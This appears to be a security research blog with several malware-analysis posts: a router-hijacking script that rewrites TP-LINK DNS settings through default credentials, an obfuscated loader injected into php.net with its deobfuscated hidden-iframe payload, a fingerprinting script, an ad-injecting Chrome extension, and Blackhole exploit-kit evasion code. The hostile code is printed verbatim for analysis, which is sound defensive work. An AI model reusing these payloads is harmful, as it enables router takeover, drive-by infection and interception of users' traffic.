Security P0wnies

We have recently noticed submissions on Wepawet that try to access local IP addresses. This is of particular interest since the attacker's intention is to tamper with the configuration of the victim's home router. 

A live example is located at http://freemdsv.com/ad.php?pid=20120811

if (MSIE = navigator.userAgent.indexOf("MSIE") == -1) { document.writeln("<div style=\'display:none\'>"); function ip1() { i = new Image; i.src = 'http://192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=58.221.59.217&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced'; } document.write('<img src="http://admin:[email protected]/images/logo.jpg" height=1 width=1 onload=ip1()>'); function ip3() { ii = new Image; ii.src = 'http://192.168.1.1/userRpm/ManageControlRpm.htm?port=11&ip=0.0.0.0&Save=%C8%B7+%B6%A8'; } document.write('<img src="http://admin:[email protected]/images/logo.jpg" height=1 width=1 onload=ip3()>'); document.writeln("</div>"); }

The script basically checks to see if the router is accessible through an image request to:

http://admin:[email protected]/images/logo.jpg

So it expects that the router is left in the default configuration with username/password as admin:admin and that it is accessible from the IP address 192.168.1.1. The functions ip1 and ip3 are responsible for the malicious reconfiguration of the router with the following requests:

http ://192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=58.221.59.217&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced

and

http ://192.168.1.1/userRpm/ManageControlRpm.htm?port=11&ip=0.0.0.0&Save=%C8%B7+%B6%A8

The file "PPPoECfgAdvRpm.htm" seems to be the configuration of PPPoE Advanced Settings for TP-LINK routers (link). It is very interesting that they change the victim's DNS servers to 58.221.59.217 and 114.114.114.114, which means that the victim is susceptible to Man-in-the-middle attacks.

The second request reconfigures the router to be remotely accessible through it's web interface (link). This way the attacker can remotely change the settings of the victim's router at its will.

A few reports from Wepawet that perform such attacks are here:

Wepawet report Wepawet report Wepawet report Wepawet report Wepawet report Wepawet report Wepawet report Wepawet report Wepawet report Wepawet report

The infection starts from a modified JavaScript file which was included from php.net/index.php (userprefs.js). On that file the following code was appended:

(function(Anv) { var LUI = "M\xaa\xb0\xa9\xf5n-\x92\xe0\xb5S[...]", b2 = ["\x73\x70\x6c\x69\x74", Ud = (0x84 ^ 0xc3) * (0xf9 - 0xf3) / 2, "\x6c\x65\x6e\x67\x74\x68", "\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70\x65\x72\x74\x79"], VV = "\xc3\x9f\xae\x15\xf9\x928\xb4{\xcbV\x00D?GD|\x9f{:[\xa8\xd0\x9a", NQ = LUI["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, VV[b2[2]]); VDG = function(Av) { var sCV, j9, nB = j9 = "", GC = 0; Av = Av[b2[0]](nB); for (sCV in Av) { if (Av[b2[3]](sCV)) { j9 += SjB(Av[sCV], NQ[b2[0]](nB)[GC %= NQ[b2[2]]]); GC++; } } return (j9); }; NQ = VDG(VV); Anv[VDG("oVkD")](VDG(LUI[VDG("yUh[|ZiLm")](VV[VDG("fEdO|@")]))) })(window, SjB = function(uC, lp, XN, OA) { uC = uC[XN = "\x63" + (OA = "\x68\x61\x72\x43\x6f\x64\x65") + "\x41\x74"](0); return (String["\x66\x72\x6f\x6d\x43" + OA](uC & Ud | ((uC & (~Ud & 0xff)) ^ (lp[XN](0) & (~Ud & 0xff))))) });

This is a deobfuscator, which generates more code by deobfuscating the string in the LUI variable.

/*IlcnDVqHsxH0yOFzDNP718Jyuru3K*/ /*87yjoFLgVnhk*/ /*fhcDLHyIuwbr2DEf3xXMo0*/ (function(dzI) { Ud = 0x0b * (0xbb - 0xb9); var eOa = (function(z) { var a = [VDG("\xaa\xd3\xedH\xbd\xcdE\xcc,\x84%n4"), VDG("\xbe\xc8\xec]\xa1"), VDG("\xa1\xc4\xe1N\xa1\xdc"), VDG("\xba\xd5\xf1E\xac"), VDG("\xa8\xd1\xf8L\xa7\xccC\xc8\x20\x85$"), VDG("\xae\xc4\xfcl\xa5\xcdm\xc5'\x9d3B9U(/.\xe8$m"), VDG("\x84\xc0\xfcA"), VDG("\xa6\xd7\xed[\xaf\xc4o\xd7"), VDG("\xb9\xce\xfb@\xbd\xc1o\xce"), VDG("\xa5\xc4\xee]")], b = [VDG("\xad\xce\xeb\\\xa4\xcdn\xd4"), VDG("\xaf\xcd\xe7F\xbb"), VDG("\xbb\xc0\xe6M\xa6\xc5"), VDG("\xa5\xc4\xe6N\xbd\xc0"), VDG("\xba\xd3\xeb")], s = [VDG("\xad\xc8\xfe"), VDG("\xa0\xc7\xfaH\xa4\xcd")], r = [VDG("\xa1\xc8\xecM\xac\xc6"), VDG("\xa8\xc3\xfbF\xa5\xddt\xc5"), VDG("\xe4\x90\xb8\x19\xf9\x98p\xd8"), VDG("\xa1\xd5\xfcY\xf3\x87/\xd5;\x85nw(h*\x20\x15\xfa+&*\xcf\xee\xd5\xa2\x8e\xfb]\xa8\xdc.\xc8=\x84"), VDG("\xf8\x91\xf8Q")], t = [0, 0, 0, 0, 0]; t[3] = (t[2] = z[b[0]][a[0]](s[1]))[a[3]]; t[2][b[4]] = r[3]; (t[1] = (t[0] = z[b[0]][a[0]](s[0]))[a[3]])[a[1]] = t[1][a[2]] = r[4]; t[1][a[7]] = r[0]; t[1][a[8]] = r[1]; t[1][a[9]] = r[2]; t[0][a[4]](t[2]); return t[0]; })(dzI), d = dzI[VDG("\xad\xce\xeb\\\xa4\xcdn\xd4")], i, b, l = VDG("\xa5\xc4\xe6N\xbd\xc0"), t = VDG("\xae\xc4\xfcl\xa5\xcdm\xc5'\x9d3B9U(/.\xe8$m"), m = dzI[VDG("\x84\xc0\xfcA")]; if (eOa) { if (b = d[t](VDG("\xab\xce\xecP"))[0])((i = d[t](VDG("\xad\xc8\xfe")))[l] ? i[m[VDG("\xaf\xcd\xe7F\xbb")](m[VDG("\xbb\xc0\xe6M\xa6\xc5")]() * i[VDG("\xa5\xc4\xe6N\xbd\xc0")])] : b)[VDG("\xa8\xd1\xf8L\xa7\xccC\xc8\x20\x85$")](eOa); else d[VDG("\xbe\xd3\xe1]\xac")](eOa[VDG("\xa6\xd4\xfcL\xbb\xe0T\xed\x05")]); } delete SjB; delete VDG; delete Ud; })(window);

So now that we have the actual code that performs the attack we can see that it is injecting an iframe in the page's DOM tree. Although this is the deobfuscated part of the code, it is still not easy to understand what is happening. It even has code dependencies with its deobfuscator (like function VDG).

By looking more closely to the "e0a" function we can deobfuscate it further to the following code:

a = ["createElement", "width", "height", "style", "appendChild", "getElementsByTagName", "Math", "overflow", "position", "left"] b = ["document", "floor", "random", "length", "src"] s = ["div", "iframe"] r = ["hidden", "absolute", "-10000px", "http://url.whichusb.co.uk/stat.htm", "10px"] t = [0, 0, 0, 0, 0] iframe_style_obj = (iframe_obj = window.document.createElement("iframe")).style iframe_obj.src = "http://url.whichusb.co.uk/stat.htm" (div_style_obj = (div_obj = window.document.createElement("div")).width = div_style_obj.height = "10px" div_style_obj.overflow = "hidden" div_style_obj.position = "absolute" div_style_obj.left = "-10000px" div_obj.appendChild(iframe_obj) return div_obj

Now it is clear that the injected iframe is of the following form:

<div style="height: 10px; width: 10px; overflow: hidden; position: absolute; left: -10000px;"><iframe src="http://url.whichusb.co.uk/stat.htm"></iframe></div>

It is interesting that the iframe is fullsized but wrapped into a div element that is hidden. The code in the iframe fingerprints the user before serving any exploits.

var os = 0; try { var os = PluginDetect.OS; } catch (e) {} var jav = 0; try { //var javaversion=PluginDetect.getVersion('Java','./getjavainfo.jar'); var javaversion = 0; if (javaversion != null) { jav = 1; } } catch (e) {} var acrobat = new Object(); acrobat.installed = false; acrobat.version = 0; var pdfi = 0; try { var adobe = PluginDetect.getVersion("AdobeReader"); if (adobe != null) { pdfi = 1; } } catch (e) {} var resoluz = 0; try { resoluz = screen.width; } catch (e) {} document.write(''); var id = resoluz + '|' + jav + '|' + pdfi; var frm = document.forms[0]; frm.id.value = id; frm.submit();

Resulting fingerprint was: id=800%7C1%7C1 This is "screen.width|java_enabled|pdf_enabled", although the check for Java seems to be bugged and always true. Very interesting that they forward to their server the screen width of the victim.

At this point a static HTML page is served to the victim with multiple Java/Flash/IE exploits. By looking more closely into the Internet Explorer exploit they tried, it seems to be CVE-2013-2551.

Recently I stumbled upon an interesting attack. I was going through the code of Similar Sites Pro Chrome extension and noticed that they include some dynamic JavaScript code from an external source and run it in the context of every single web page that the user visits.

The included code from http://utils.similargroup.com/js/superfish.js is at the moment the following script:

This looks very suspicious: part of the file is readable JavaScript and the rest is obfuscated, a classic situation on infected websites with drive-by downloads. The obfuscation that they used seems to come from http://javascriptobfuscator.com/. Here is the deobfuscated version of the injected script: 

// From http://utils.similargroup.com/js/superfish.js // Thu Aug 8 22:17:04 PDT 2013 // deobfuscated version var arr = "http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=728x90&section=4817275 http://an.z5x.net/tt?id=1569268 http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=300x250&section=4817274 http://an.z5x.net/tt?id=1569267 http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=160x600&section=4817276 http://an.z5x.net/tt?id=1569227 http://an.z5x.net/tt?id=1572299 http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=468x60&section=4817277 random length floor host location sex boobs penis pussy cunt porn anal teen latina cum amateur bondage babe bbw bukkake hentai gangbang orgy strip pov asian nipple tits blowjob mature squirt shemale nude cock breast virgin chicks escort facial horny orgasm gay lesbian xxx fuck dick mobile9.com ser-mujer.org toropornox.com guyloveboys.com privacytube.com sex-gps.com buscandosexo.org jaidefinichon.com mangareader.net sahibinden.com plp.cl meta getElementsByTagName toLowerCase name keywords content indexOf is_domain_blocked iframe width height get_bnr_url src start".split(" "), BnrService = { get_bnr_url: function (b) { var a = []; if (728 == b) { a = ["http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=728x90&section=4817275", "http://an.z5x.net/tt?id=1569268"] } else { if (300 == b) { a = ["http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=300x250&section=4817274", "http://an.z5x.net/tt?id=1569267"] } else { if (160 == b) { a = ["http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=160x600&section=4817276", "http://an.z5x.net/tt?id=1569227"] } else { if (800 == b) { a = ["http://an.z5x.net/tt?id=1572299"] } else { if (468 == b) { a = ["http://ad.yieldmanager.com/st?ad_type=iframe&ad_size=468x60&section=4817277"] } else { return "" } } } } } return a[Math["floor"](Math["random"]() * a["length"])] }, is_domain_blocked: function () { var b = document["location"]["host"], a = ["sex", "boobs", "penis", "pussy", "cunt", "porn", "anal", "teen", "latina", "cum", "amateur", "bondage", "babe", "bbw", "bukkake", "hentai", "gangbang", "orgy", "strip", "pov", "asian", "nipple", "tits", "blowjob", "mature", "squirt", "shemale", "nude", "cock", "breast", "virgin", "chicks", "escort", "facial", "horny", "orgasm", "gay", "lesbian", "xxx", "fuck", "dick", "xxx", "facial", "nude", "hentai", "bukkake", "boobs", "mobile9.com", "ser-mujer.org", "toropornox.com", "guyloveboys.com", "privacytube.com", "sex-gps.com", "buscandosexo.org", "jaidefinichon.com", "mangareader.net", "sahibinden.com", "plp.cl"], d = a["length"], c = 0, f = ""; if (c = document["getElementsByTagName"]("meta")) { for (var e = 0, g = c["length"]; e < g; e++) { c[e]["name"]["toLowerCase"]() == "keywords" && (f += c[e]["content"]) } } for (c = 0; c < d; c++) { if (-1 < b["indexOf"](a[c]) || -1 < f["indexOf"](a[c])) { return !0 } } return !1 }, start: function () { try { if (!BnrService["is_domain_blocked"]()) { for (var b = document["getElementsByTagName"]("iframe"), a = 0; a < b["length"]; a++) { var d = ""; 728 == b[a]["width"] && 90 == b[a]["height"] && (d = BnrService["get_bnr_url"](728)); 300 == b[a]["width"] && 250 == b[a]["height"] ? d = BnrService["get_bnr_url"](300) : 160 == b[a]["width"] && 600 == b[a]["height"] ? d = BnrService["get_bnr_url"](160) : 468 == b[a]["width"] && 60 == b[a]["height"] ? d = BnrService["get_bnr_url"](468) : 800 == b[a]["width"] && 440 == b[a]["height"] && (d = BnrService["get_bnr_url"](800)); d != "" && (b[a]["src"] = d) } } } catch (c) {} } }; setTimeout(function () { BnrService["start"]() }, 2000);

This will check if the visited page is not on some hard-coded domains and if porn related keywords do not exist in the HTML meta tags. Then it will iterate on the visited page iframes and if there are iframes of specific size (like 728x90) their source URL will be replaced with another one. In a nutshell what is happening is that the extension is replacing all the banner-looking iframes on any page that the infected user is visiting with the attacker's preferred advertisements! Here is how the injected ads look like:

What is really worrisome is that this extension is installed on almost 2 million Chrome users.

Also it is of real interest why the attackers choose to skip the ad-injection on all porn related pages with the appropriate meta tag and on some specific domains. Maybe it's against the policy of the Yahoo owned advertising company that is used?

Update: The addon has been removed from Chrome web store.

Recently I found a few URLs in the wild that were installations of the Blackhole 2.0 exploit kit. At this moment this is the latest version of one of the most popular exploit kits out there. In this post I focus mainly on the client side evasions that Blackhole is performing to avoid getting detected.

Here is a snippet of the first step of the attack:

a=document[g]("google"); s=""; for(i=0;;i++){ r=a[gg]("d".concat(i)); if(r){s=s+r;}else break; } a=s; a=a.replace(/[^0-9a-z]/g,""); s=""; for(i=0;i < a.length;i+=2){ try{gbargre-0x32} catch(sdgsdg){ if(020==0x10)s+=ss(parseInt(a.substr(i,2),28)); } } try{(alert+"fewfbw")()} catch(adgsdg){window["e"+"v"+"a"+"l"](s);}

All obfuscated strings are on the DOM tree scattered as d[0-9]{1,2} attributes on a element with id named "google". The obfuscated strings are loaded from the DOM tree, get combined, deobfuscated and then the final string gets executed. The story of every drive-by download attack's life.

But here is the interesting part: in this small snippet of code there are 4(!) evasion attempts (that I can identify). 

1. [line 4] "d".concat(i)

This was evading Wepawet, because at some point along the path of execution the argument of concat function was treated as a string and not as the string representation of any object that we are trying to concatenate. This is no longer the case ;)

2. [line 11] try{gbargre-0x32}

I suspect that on another honeyclient the JavaScript engine has this variable accessible and they are checking it or they want to make sure that the JavaScript engine is actually throwing exceptions on garbage statements.

3. [line 12] if(020==0x10)

Again there should be a bug in one of the monitoring environments that the attackers want to avoid where in that world 020 is not equal to 0x10. Remember that in JavaScript positive octal number start with a zero, so 020 should be interpreted as 16 in decimal.

4. [line 15] try{(alert+"fewfbw")()}

The expected behavior here is that alert will return its string representation, which is function alert() { [native code] } and then "fewfbw" will be concatenated to that resulting to "function alert() { [native code] }fewfbw". This should throw an exception when we try to call it as a function. Instead the attackers expect that there is a system where this will return a valid function pointer which is callable. 

On the next blog post I will go through the evasions that I found once the PDF exploit is launched!

--

During the last iCTF I designed several Javascript challenges to entertain the contestants. Starting from the easiest one, I will try to give you my point of view of how these challenges could be solved. 

The first challenge was "So you think you can web hack 1" and you were given the following message: 

You should always trust the gods. Don't trust Osiris though.

In addition you were given this file, which is a wiki how-to for surfing. It is clear that the message doesn't have to do anything with the page and some might even go and check if this file has any differences with the original page (it didn't at the time). If you try to understand the message and have a small background of who we are, then it's clear that the message is about Wepawet, a publicly available framework developed by UCSB to analyze web-based malicious threats. In case you don't know, Wepawet might also refer to a god. Submitting this file to Wepawet will give you back this report and if you go through the report it is clear that the flag is "wegetthebestbarrelseverdude!". If you were a l33t h4ck3r but never heard of Wepawet before, don't worry. There was a hint in one of the flags in the rest of the series that might have triggered your curiosity about Wepawet.

I hope you enjoyed it! Stay tuned for the next series!

  --